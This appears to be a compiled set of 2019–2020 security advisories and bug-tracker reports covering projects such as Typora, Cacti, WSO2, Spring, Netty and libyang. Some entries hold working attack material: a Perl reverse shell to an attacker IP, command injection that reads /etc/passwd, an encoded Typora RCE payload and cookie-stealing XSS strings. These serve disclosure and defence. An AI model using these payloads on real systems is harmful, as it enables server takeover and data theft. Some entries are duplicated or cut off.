Potentially overflowing expression "1048576 * S" with type "int" (32 bits, signed) is evaluated using 32-bit arithmetic, and then used in a context that expects an expression of type "uint64_t" (64 bits, unsigned).

To avoid overflow, cast either "1048576" or "S" to type "uint64_t".

We found that a maliciously crafted user-input object can type checking result of kind-of module.
The vulnerability is from the following code: kind-of leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this builtin attribute to manipulate the type detection result.
https://github.com/jonschlinkert/kind-of/blob/4da96c0047906d22a4d6964a668d3abaca122e50/index.js#L68-L70
Reproduce Script
```
var kindOf = require('kind-of');
var user_input = {
user: 'barney',
age: 36,
active: true,
"constructor":{"name":"Symbol"}
};
console.log(kindOf(user_input));
```
This issue can be fixed by adding one simply check to the ctorName() function:
check `typeof val.constructor === function `. This check can patch the vulnerability because attackers can't use json to send function instances to the victim server.

CVE-2019-14859
|
2020-01-02T15:15:11.960
|
A flaw was found in all python-ecdsa versions before 0.13.3, where it did not correctly verify whether signatures used DER encoding. Without this verification, a malformed signature could be accepted, making the signature malleable. Without proper verification, an attacker could use a malleable signature to create false transactions.

When the DER signature is malformed, the `VerifyingKey.verify(sigdecode=sigdecode_der)` raises unexpected exceptions and in some cases does not raise any exception.
`UnexpectedDER`, `IndexError` and `AssertionError` are raised in addition to `BadSignatureError`, at the same time flipping the 4th or 6th least significant bit of 2nd byte of a NIST521p signature does not cause it to be rejected (the DER encoding is strict, and every value has one defined encoding, any other encoding is invalid and needs to be rejected)

CVE-2016-1000027
|
2020-01-02T23:15:11.857
|
Pivotal Spring Framework through 5.3.16 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required. NOTE: the vendor's position is that untrusted data is not an intended use case. The product's behavior will not be changed because some users rely on deserialization of trusted data.

Issue Title : Sonartype vulnerability CVE-2016-1000027 in Spring-web project
Description
Description from CVE
Pivotal Spring Framework 4.1.4 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required.
Explanation
The org.springframework:spring-web package is vulnerable to deserialization of untrusted data leading to Remote Code Execution (RCE). The readRemoteInvocation method in HttpInvokerServiceExporter.class does not properly verify or restrict untrusted objects prior to deserializing them. An attacker can exploit this vulnerability by sending malicious requests containing crafted objects, which when deserialized, execute arbitrary code on the vulnerable system.
NOTE: This vulnerability is related to a previously reported deserialization vulnerability (CVE-2011-2894) within the package, impacting a different class.
Detection
The application is vulnerable by using this component under specific scenarios as listed out in the advisory.
Reference: https://www.tenable.com/security/research/tra-2016-20
Recommendation
There is no non-vulnerable upgrade path for this component/package. We recommend investigating alternative components or a potential mitigating control.
A warning has been provided in the official Javadocs of the HttpInvokerServiceExporter class:
"WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead."
The developer's general advice also states:
"Do not use Java serialization for external endpoints, in particular not for unauthorized ones. HTTP invoker is not a well-kept secret (or an "oversight") but rather the typical case of how a Spring application would expose serialization endpoints to begin with... he has a point that we should make this case all across our documentation, including the javadoc. But I don't really see a CVE case here, just a documentation improvement.
Pivoltal will enhance their documentation for the 4.2.6 and 3.2.17 releases."

CVE-2016-1000027
|
2020-01-02T23:15:11.857
|
Pivotal Spring Framework through 5.3.16 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required. NOTE: the vendor's position is that untrusted data is not an intended use case. The product's behavior will not be changed because some users rely on deserialization of trusted data.

The Rest API spawned on port 5000 isn't validating the Host header , as such the server is vulnerable to DNS Rebinding attacks.
Impact :
By tricking users into visiting a website, it will be possible to perform all Rest Calls on behalf of user from the attackers website, bypassing the same origin policy using DNS rebind. Few actions that the attacker can perform are invoking/running functions, read stats etc. There is also a /debug API but currently not configured, attacker can also invoke debug and do stuff based on implementation of the debug functionality.

CVE-2019-5064
|
2020-01-03T17:15:12.257
|
An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, before version 4.2.0. A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

Hi,
While fuzzing FontForge with AFL, I found a heap use-after-free in the SFD_GetFontMetaData() function, in sfd.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test01.sfd.gz](https://github.com/fontforge/fontforge/files/4019970/test01.sfd.gz)
Issue can be reproduced in FontForge 20190801 and with latest Git master by running:
```
fontforge test01.sfd
```
```

Hi,
While fuzzing FontForge with AFL, I found a heap-based buffer overflow in the Type2NotDefSplines() function, in splinesave.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test02.sfd.gz](https://github.com/fontforge/fontforge/files/4020930/test02.sfd.gz)
Issue can be reproduced in FontForge 20190801 and with latest Git master by running:
```
fontforge -lang ff -c 'Open("test02.sfd"); Generate("test02.otf")'
```
```

`header.tag` appears to be vulnerable to XSS here:
~~~
// get the info of the current user, if available (null otherwise)
function getUserInfo() {
return ${userInfoJson};
}
~~~
**userInfoJson** is included in the page and is not encoded so malicious elements could be created. If the string `</script>` appears in **userInfoJson**, the `<script>` element will be closed
and a new malicious `<script>` can be created:
~~~
// get the info of the current user, if available (null otherwise)
function getUserInfo() {
return {"sub":"12318767","name":"Test</script><script>alert(1)</script> Test","preferred_username":"Test","given_name":"Test</script><script>alert(1)</script>","family_name":"Test","email":"test@test.com","email_verified":true};
}
~~~
And the malicious JavaScript is executed:

CVE-2019-20374
|
2020-01-09T23:15:10.367
|
A mutation cross-site scripting (XSS) issue in Typora through 0.9.9.31.2 on macOS and through 0.9.81 on Linux leads to Remote Code Execution through Mermaid code blocks. To exploit this vulnerability, one must open a file in Typora. The XSS vulnerability is then triggered due to improper HTML sanitization. Given that the application is based on the Electron framework, the XSS leads to remote code execution in an unsandboxed environment.

# Summary
A mXSS in Typora leads to remote code execution. The vector is Mermaid code blocks (HTML labels) however other spots where Typora attempts to clean up HTML using DOMPurify could be prone to the same.
# Steps to reproduce / PoC
1. Create an .md with the following contents:
~~~
```mermaid
graph TD
z --> q{<svg></p><style><g title=<svg>
"</style><img src onerror=eval(atob('dHJ5e3ZhciByPXJlcW5vZGUoJ2NoaWxkX3Byb2Nlc3MnKTtyLmV4ZWNGaWxlKCcvdXNyL2Jpbi9nbm9tZS1jYWxjdWxhdG9yJyl8fHIuZXhlY0ZpbGUoJ2NhbGMuZXhlJyl9Y2F0Y2h7d2luZG93LmJyaWRnZS5jYWxsSGFuZGxlcignd2luZG93Lm9wZW4nLCAnZmlsZTovLy9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3InKX07'))>">}
```
~~~
2. Open the file in Typora
3. Witness a calculator pop up:
The payload is simply HTML-entity-encoded
```HTML
<svg></p><style><g title=</style><img src onerror=eval(atob('dHJ5e3ZhciByPXJlcW5vZGUoJ2NoaWxkX3Byb2Nlc3MnKTtyLmV4ZWNGaWxlKCcvdXNyL2Jpbi9nbm9tZS1jYWxjdWxhdG9yJyl8fHIuZXhlY0ZpbGUoJ2NhbGMuZXhlJyl9Y2F0Y2h7d2luZG93LmJyaWRnZS5jYWxsSGFuZGxlcignd2luZG93Lm9wZW4nLCAnZmlsZTovLy9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3InKX07'))>}
```
where the JS is simply:
```JavaScript
try{var r=reqnode('child_process');r.execFile('/usr/bin/gnome-calculator')||r.execFile('calc.exe')}catch{window.bridge.callHandler('window.open', 'file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')};
```
# Fix
It's perhaps best to upgrade [DOMPurify](https://github.com/cure53/DOMPurify) to the [latest version](https://github.com/cure53/DOMPurify/releases/latest) which seems to address new mutation XSS vectors. It looks like the version that's shipped with Typora is somewhat old (1.0.4).
Consider employing [Content-Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) for a broader mitigation. It appears that RCE via XSS emerges as a pattern among Typora's issues. Implementing a fine-tuned CSP is time consuming but building a good policy step by step could prove worthy in the long run and cover users even when new XSS vectors are discovered.
# Notes
Versions known to be vulnerable and tested are 0.9.81, 0.9.9.31.2 (3946). These are the latest downloads from the website (for Linux and MacOS respectively). I did not test the Windows version of the app.
# CVSS 8.3
My take is [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H&version=3.1)

When I visited the installed web page , I found this version has 2 Reflect Cross-site scripting (XSS) in the page. I found the apt-get installed the version 3.6.1 of ganglia-webfrontend default, maybe there are many ganglia users used apt-get to installed this ganglia-webfrontend version.
header.php
411 $custom_time = "or <span class=\"nobr\">from <input type=\"TEXT\" title=\"$examples\" NAME=\"cs\" ID=\"datepicker-cs\" SIZE=\"17\"";
412 if ($cs)
413 $custom_time .= " value=\"$cs\"";
414 $custom_time .= "> to <input type=\"TEXT\" title=\"$examples\" name=\"ce\" ID=\"datepicker-ce\" SIZE=\"17\"";
415 if ($ce)
416 $custom_time .= " value=\"$ce\"";
417 $custom_time .= "> <input type=\"submit\" value=\"Go\">\n";
There some xss protect in the systen but can be by pass. attacter can use “onfocus” and “autofocus” to bypass.

Hi,
I found a heap buffer overflow that affects at least version 2.3.1 and current master (ac3737372a00b8778b528094dd5bd58a74f67d42). On a regular build of openjpeg (in my case, the one shipped by Arch Linux), it leads to a crash; when building the project with address sanitizer, I get the following report:
```
$ bin/opj_decompress -i ../openjpeg_poc -o /tmp/image_verification.pgm

The extension of this file is incorrect.

For the report, I built with Clang 8.0.1 on Debian stable, using `CFLAGS=-fsanitize=address` and `CXXFLAGS=-fsanitize=address`, and calling CMake with `-DBUILD_THIRDPARTY=ON -DCMAKE_BUILD_TYPE=Release`.
The crashing input is available [here](http://www.s3.eurecom.fr/~seba/openjpeg_poc). Since I believe this may be exploitable, I would like to request a CVE.
Let me know if I can help with more information. Thank you!

**Describe the bug**
XXE vulnerability in YAJSW’s JnlpSupport affects Ghidra Server.
An insecure way to parse XML input was found in JnlpSupport class from Yet Another Java Service Wrapper used by Ghidra (up to latest version).
**To Reproduce**
Steps to reproduce the behavior:
1. Create an XXE payload file and set the extension of the file to ".jnlp"
2. Go to <path_to_ghidra>/server/ghidraSvr
3. Modify "WRAPPER_CONF" value to point to the ".jnlp" file
4. Run ghidraSvr using "$ sudo ./ghidraSvr start"
5. XXE exploit in the ".jnlp" file gets executed
**Expected behavior**
Extended XML Entities should be disabled.
**Environment:**
- OS: Kali Linux, Debian 4.19.37-2kali1 (2019-05-15)
- Java Version: 11.0
- Ghidra Version: 9.0.4
**Additional context**
I understand the vulnerable code is actually part of a separate library, however I considered this of interest and I suggest adding a filter so no ".jnlp" configuration files are allowed as values for "WRAPPER_CONF", at least until YAJSW patches this problem.

We received the report below about an attacker that can create many invalid signatures on a metadata file, delaying the moment when the client will determine the signature is not valid. This delay may be for at least a few minutes, but possibly could be longer especially if multiple files are impacted.
Possible remediations include failing earlier (possibly immediately) if any signature is not valid.
Credit to Erik MacLean - Analog Devices, Inc. for reporting this issue.
(More Details below.)
Tracking ID: CVE-2020-6173
Summary:
Potential Client-side Denial of Service
Description:
While maximum file size is restricted for downloading, the client may attempt to validate a large number of signatures. We have been able to add over 500 copies of the same invalid signature into the `root.json` file, which results in the client attempting to validate each one, spending several minutes on validation. The file size limit of `target.json` is larger and may allow up to 5000 signatures, further increasing the amount of time spent in validation.
Security Impact: Denial of Service
Affected Version:
Identified at commit 9fde70fbb3ba6a3385b80046559058d939833c60, suspect all versions.

When libiec61850 parsing type `MMS_BIT_STRING`, it doesn't check variable `bufPos`. So we can provide a larger number for `bufPos`, then memory copy from `buffer` + `bufPos` + 1 lead to heap overflow.

**Describe the bug**
Input validation error in data_input.php leads to Remote Code Execution via Input String (Script/Command) edit actions. By default, Cacti was installed with several Data Input Methods. Some of them was created using Script/Command input type. An attacker will be able to edit the Input String to insert malicious code and take control of the server.
Cacti version: Latest (1.2.8)
**To Reproduce**
Steps to reproduce the behavior:
1. After logged in, navigate to Data Collection -> Data Input Methods -> Unix - Ping Host
2. By default, Input String was specified as: `perl <path_cacti>/scripts/ping.pl <hostname>`. Let's append a malicious perl script in front of current script:
`perl -e 'use Socket;$i="**ACTTACKER-IP**";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'; perl <path_cacti>/scripts/ping.pl <hostname>`
3. By default, Unix -Ping Host data input method is being used by Unix - Ping Latency Graph template. This means we can create Unix - Ping Latency in current device and gain Remote Code Execution
**Expected behavior**
- By default, Ping Host works as a feature to check if a host is up/down. With the malicious code appended into the Input String, the server will make a call back to Attacker's machine first.
**Impact**
- The vulnerability would let an authorized user take control of the server. Attack will then be able to take down the system as well as use the system for malicious purposes.
**Screenshots**
If applicable, add screenshots to help explain your problem.
- Malicious code: https://imgur.com/icaFTHk
- Create new graph in device: https://imgur.com/C8zF3Py
- Reverse shell connection: https://imgur.com/97HgO0g
**Desktop (please complete the following information):**
- OS: Kali Linux, Ubuntu
- Browser : Firefox, Chrome
- Version: Firefox 72.0, Chrome 79.0.3945.117
**Remediation**
- I would think about two (2) solutions:
1 - Using regex to catch all other strings different from expected string
2 - Hard-coding perl script into source-code and force the application to take only 1 filtered input (hostname).

**Describe the bug**
Data source input validation error leads to Stored XSS within Description after creating a device with Malicious code embedded in Description field.
**To Reproduce**
Steps to reproduce the behavior:
1. Navigate to Console -> Create -> New Device
2. In Description field, input script payload: `<svg/onload=alert(1)>`
3. Fill out the rest of the form as normal
4. Click Save. After the first click, there will be an error dialog saying Whitelisting is ON (yes, I turned it on this time). However, I was still able to save the "New Device" form by clicking "Save" once again.
5. After the message of "Successfully operated", click on "Data Sources" on the top right menu. XSS dialog will pop up.
You might ask me questions about CSP and the whitelisting thing in config.php:
If I turned the whitelisting feature ON? **YES**
If I fixed html.php to append CSP policy? **YES**
**Screenshots**
- Input fields: https://imgur.com/GcAyUkC
- Pop XSS dialog: https://imgur.com/VkMIgs2
- CSP Enabled: https://imgur.com/4A0v3jq
- XSS string was not filtered in data_sources.php: https://imgur.com/xRFHXAP

**Describe the bug**
An input validation error found in Boost Debug Log field leads to Remote Code Execution.
**To Reproduce**
Steps to reproduce the behavior:
1. Navigate to Console -> Configuration -> Settings -> Performance
2. In Boost Debug Log field, type in the payload:
`--verbose; cat /etc/passwd > rce.txt`
3. Save. Even the $input_whitelisting in config.php is ON, it would still accept this payload.
4. Wait a little bit until new polling cycle gets fetched. Navigate to `http://cacti/rce.txt` to see /etc/passwd content.
**Screenshots**
- Payload
- Successfully saved the payload
- /etc/passwd content
**Root cause**
- Not like other fields in Configuration tab, Boost Debug Log would still be saved even if the input contains special characters.
- Tracing back to server log, I observed that this is being handled by poller_automation.php where it gets fetched by the poller process.
- Taking a look at the poller_automation.php, I observed that there are 5 different arguments that can be used to passed into its command. Hence, we can use either --debug, --force, --verbose, --version, or --help to pass into Boost Debug Log field.
- After crafting a payload, the script will look like:
`/bin/php <path>/poller_automation.php --verbose; cat /etc/passswd > rce.txt` where it gets fetched by the new poller process and create rce.txt in webroot.
**Remediation**
- Apply a check on this field (i.e: input length, input characters)
- If this field is supposed to take these mentioned arguments, create a drop-down menu instead of string field if possible.
Please let me know if you need any further information.

If an if-feature statement is used inside a list key node, and the feature used is not defined, yanglint and yangfuzz segfault in lys_parse_path.
Here is an example of a yang file that crashes the parser:
```
module links {
namespace "urn:module2";
prefix mod2;
list list-for-augment {
key "keyleaf";
leaf keyleaf {
if-feature foo;
type string;
}
leaf test {
type string;
}
}
}
```

Hi,
the following yang file causes a segmentation fault in lys_parse_path, caused by a stack overflow due to too many function calls.
```
module mod1 {
namespace "urn:all";
prefix av;
yang-version 1.1;
leaf l1 {
type union-type;
}
leaf-list list5 {
type string;
}
typedef union-type {
type union {
type leafref {
path /list5;
}
type union-type;
}
}
}
```
The issue seems to be caused due to the self-referential union-type type containing a leaf-ref.
If the list5 leaf-list is removed, the issue persists, but the stack overflow takes longer to appear.
A gdb backtrace shows that the call stack is full of lys_copy_union_leafrefs calls, called in src/tree_schema.c:1903 and src/tree_schema.c:1887.
Regards,
Juraj

Hi,
this file crashes yanglint due to unprintable characters at the end of the file. Shortening the error message string removes the crash too, so I guess both issues are relevant.
```
module n00 {
yang-version 1.1;
namespace "urn:all";
prefix all_mod;
container cont1 {
uses group1 {
}
}
grouping group1 {
leaf leaf1 {
type int64 {
range "1000 .. 50000" {
error-meeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaeeeeeeeeeeeeeeeee:eeeeeeeeeeeeeeeeeeeeeeeressage
"Spec";
}
}
}
}
}^@^@^C<E8> leaf-list llist1 {
```
Here is the file base64 encoded:

```
I've encoded the file with b64, rather than using the xxd output, since I assume decoding b64 is somewhat easier than creating the file from xxd. If you would prefer another format for files containing binary data, please let me know.

I investigated the error condition found in the [property based unit test](https://github.com/PrivateBin/PrivateBin/blob/master/tst/README.md#property-based-unit-testing) with [RNG state 8b8f0d4ec2a67139b5](https://travis-ci.org/PrivateBin/PrivateBin/jobs/629180605#L782) for the `AttachmentViewer` class in an unrelated change.
The error occurs in the `AttachmentViewer.moveAttachmentTo()` method, were we can provide a string that will have the filename inserted in place of any `%s` in that string and which then becomes the text node of the link to download the attachment. The error condition that jsverify found was when it generated a prefix `<a` for that label (so the label generated in that test case became `<a%s`). Since we insert that label untouched, it attempts to set another link into text node of a link, which isn't allowed in HTML and in the jsdom based environment gets silently ignored - Hence the test failed only for `<a />` tags, as other tags are allowed inside a link.
While the label itself is from a trusted source (hardcoded in the translation files and privatebin.js), the filename that is injected isn't. If one would create a paste with attachment with a name containing HTML code (that can be easily done using one of the CLI clients), that paste would have that snippet injected when the paste is displayed.
I have prepared a patch and updated unit test case that does the HTML entity encoding to address this and will push this ASAP. While file uploads are disabled by default, I would still suggest that we publish a release with this fix.
Your opinions?

CVE-2020-5217
|
2020-01-23T03:15:10.793
|
In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.8.0, 5.1.0, and 6.2.0. If user-supplied input was passed into append/override_content_security_policy_directives, a semicolon could be injected leading to directive injection. This could be used to e.g. override a script-src directive. Duplicate directives are ignored and the first one wins. The directives in secure_headers are sorted alphabetically so they pretty much all come before script-src. A previously undefined directive would receive a value even if SecureHeaders::OPT_OUT was supplied. The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s. Depending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.

Consider the following Rails controller action which overwrites the frame ancestors based on some user input:
```ruby
def show
user_input_domain1 = URI.parse "https://google.com;script-src"
user_input_domain2 = URI.parse "https://*;.;"
user_input_domains = [user_input_domain1, user_input_domain2]
override_content_security_policy_directives(frame_ancestors: whitelisted_domains)
end
```
This results into the following response header:
```
frame-ancestors: https://google.com;script-src *;
```
This shows unexpected output, because by setting the frame ancestors the user is able to change the `script-src` opening possibilities for XSS.
One solution to this would be to filter out the CSP rules inside of specific CSP rules:
```ruby
frame_ancestor = value.gsub('script-src','').gsub('img-src', '')
```

CVE-2020-7226

CiphertextHeader.java in Cryptacular 1.2.3, as used in Apereo CAS and other products, allows attackers to trigger excessive memory allocation during a decode operation, because the nonce array length associated with "new byte" may depend on untrusted input within the header of encoded data.

**Describe the bug**
An input file can result in an infinite loop and hang, with high CPU consumption. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted file.
**To Reproduce**
Steps to reproduce the behaviour:
excute 'build/bin/exiv2 Jp2Image_readMetadata_loop.poc'
**Expected behavior**
An infinite loop and hang, with high CPU consumption
**Additional context**
The poc is here
[Jp2Image_readMetadata_loop.poc.zip](https://github.com/Exiv2/exiv2/files/3670911/Jp2Image_readMetadata_loop.poc.zip)
The code:
> io_->seek(restore,BasicIo::beg);
> io_->seek(subBox.length, Exiv2::BasicIo::cur);
leads to an infinite loop.

Netty 4.1.43.Final allows HTTP Request Smuggling because it mishandles Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header.
**Steps to reproduce the vulnerability**
1. The hacker send a request with both "[space]Transfer-Encoding: chunked" header and "Content-Length" header.
2. The legitimate user send a normal request
2. The ELB (Elastic load balancer) send first the request of hacker to Netty and consecutively thr normal request.
3. Netty decodes request by incorrect TE ([space]Transfer-Encoding: chunked") sending to hacker the response that corresponds until null byte and send to legitimate user the response of chunked request from hacker.
- **Attack Payload**
- **Normal request**
- **Processing of netty**

Product Name: <a href="https://wso2.com/">WSO2</a>
Server: <a href="https://docs.wso2.com/display/AM260/WSO2+API+Manager+Documentation">WSO2 API Manager</a>
Version: <a href="https://docs.wso2.com/display/AM260/About+this+Release">2.6.0</a>
Homepage: https://wso2.com/

# AFFECTED PRODUCTS:
[1] WSO2 API Manager
# Description:
Cross Site Scripting (XSS) vulnerability in WSO2 API Manager Product. By exploiting a Cross-site scripting vulnerability the attacker can hijack a logged in user’s session by stealing cookies which means that the malicious hacker can change the logged in user’s password and invalidate the session of the victim while the hacker maintains access.
# Proof of concept: (POC)
The following Vulnerability is tested on WSO2 API Manager version 2.6.0 Product.
<strong>Issue 01: Multiple reflected cross site scripting:</strong>
Figure 01: Update the existing document information created. (here API Name is ‘reflected XSS’)
Figure 02: Add XSS payload to the variable “docName”
Figure 03: HTTP Response for the modified “docName” variable with XSS payload.
Figure 04: Injected XSS payload, “><script>alert(document.cookie)</script> gets reflected in the browser response.
<strong>Issue 02 & 03:</strong>
Figure 05: Injected XSS payload in variable docName, version and apiName gets reflected in the Response
Figure 06: Injected payload gets reflected in the browser THREE times (THREE places)
Figure 07: Page Looks after executing the injected XSS payload
---
<strong>Reproducing Steps</strong>
1. Login to the application `(admin/admin)` through the login <a href="https://192.168.107.2:9443/publisher/site/pages/login.jag">URL.</a>
2. Go to the <a href="https://192.168.0.138:9443/publisher/info?name=test&version=test&provider=admin">page</a> where an API is already created
3. Create a document for the created API by clicking on `“Add New Document”` button.
4. Created documents are listed as shown in figure 01
5. Click on `“Update”` button to update document information.
6. Add relevant information and capture the request in proxy to add XSS payload `“><script>alert(document.cookie)</script>”` in `“docName”` variable.
7. Now, Injected XSS payload gets executed in the browser.
Note: Similarly, add XSS payload to the other vulnerable variables `“version”` and `“apiName”` which reflects in the browser.

# AFFECTED PRODUCTS:
[1] WSO2 API Manager
# Description:
Cross Site Scripting (XSS) vulnerability in WSO2 API Manager Product. By exploiting a Cross-site scripting vulnerability the attacker can hijack a logged in user’s session by stealing cookies which means that the malicious hacker can change the logged in user’s password and invalidate the session of the victim while the hacker maintains access.
# Proof of concept: (POC)
The following Vulnerability is tested on WSO2 API Manager version 2.6.0 Product.
Issue 01: Stored cross site scripting:
Figure 01: Design an API with valid values in the required fields of the page
Figure 02: Click on “Next Implement” after completing the forms with valid information
Figure 03: valid HTTP Request captured in the proxy with filled information
Figure 04: ‘Context’ variable is added with XSS Payload, “><script>alert(document.cookie)</script>
Figure 05: Submitted the API details to the server with XSS payload
Figure 06: XSS Payload gets stored and reflects whenever the user views the <a href="https://192.168.0.138:9443/publisher/info?name=test324&version=v3&provider=admin">page.</a>
Figure 07: Stored XSS payload in the source code
---
<strong>Reproducing Steps</strong>
1. Login to the Application.
2. Go to the <a href="https://192.168.0.138:9443/publisher/design">URL</a> for creating an API.
3. Fill all the required information and click on “Next: Implement”
4. Capture the HTTP request in the proxy and add XSS payload “XSS”><script>alert(document.cookie)</script>” to the “context” variable
5. Deploy the prototype with added XSS payload
6. Injected XSS payload gets reflected whenever the user visits or reloads the <a href="https://192.168.0.138:9443/publisher/info?name=test324&version=v3&provider=admin">page.</a>

<strong>Issue 01: Stored cross site scripting:</strong>
Figure 01: Edit `“Media Type”` value in `“Metadata”` section
Figure 02: Save `“Media Type”` with XSS payload, `“><img src=x onerror=prompt(1)>`
Figure 03: Injected XSS payload gets stored to the application
Figure 04: Injected XSS Payload gets stored and executed in the browser
Figure 05: The stored XSS payload gets executed in`4 different places` throughout the page whenever the user loads the page
---
<strong>Reproducing Steps</strong>
1. Login to the Application
2. Go to <a href="https://192.168.0.138:9444/carbon/resources/resource.jsp?region=region3&item=resource_browser_menu&viewType=std&path=/_system">URL.</a>
3. Click on Metadata to edit values
4. Edit & Save `“Media Type”` value with XSS Payload, `“><img src=x onerror=prompt(1)>`

CVE-2019-20436
|
2020-01-28T01:15:11.957
|
An issue was discovered in WSO2 API Manager 2.6.0, WSO2 IS as Key Manager 5.7.0, and WSO2 Identity Server 5.8.0. If there is a claim dialect configured with an XSS payload in the dialect URI, and a user picks up this dialect's URI and adds it as the service provider claim dialect while configuring the service provider, that payload gets executed. The attacker also needs to have privileges to log in to the management console, and to add and configure claim dialects.

An issue was discovered in WSO2 API Manager 2.6.0, WSO2 IS as Key Manager 5.7.0, and WSO2 Identity Server 5.8.0. When a custom claim dialect with an XSS payload is configured in the identity provider basic claim configuration, that payload gets executed, if a user picks up that dialect's URI as the provisioning claim in the advanced claim configuration of the same Identity Provider. The attacker also needs to have privileges to log in to the management console, and to add and update identity provider configurations.

The following Vulnerability is tested on WSO2 API Manager version 2.6.0 Product.
Issue 01: Stored cross site scripting:
Figure 01: Choose “Edit Content” after creating a document
Figure 02: Clicked on </> to add XSS payload
Figure 03: Use “Save” button to Save the document with added “XSS Payload”
Figure 04: Saving and clicking on </> back stores the XSS payload and executes in the browser
Figure 05: The stored XSS payload gets executed whenever the user loads the <a href="https://192.168.0.138:9443/publisher/site/pages/inline-editor.jag?docName=xss&apiName=test&version=test&provider=admin&mode=edit&tenant=carbon.super">page,</a>
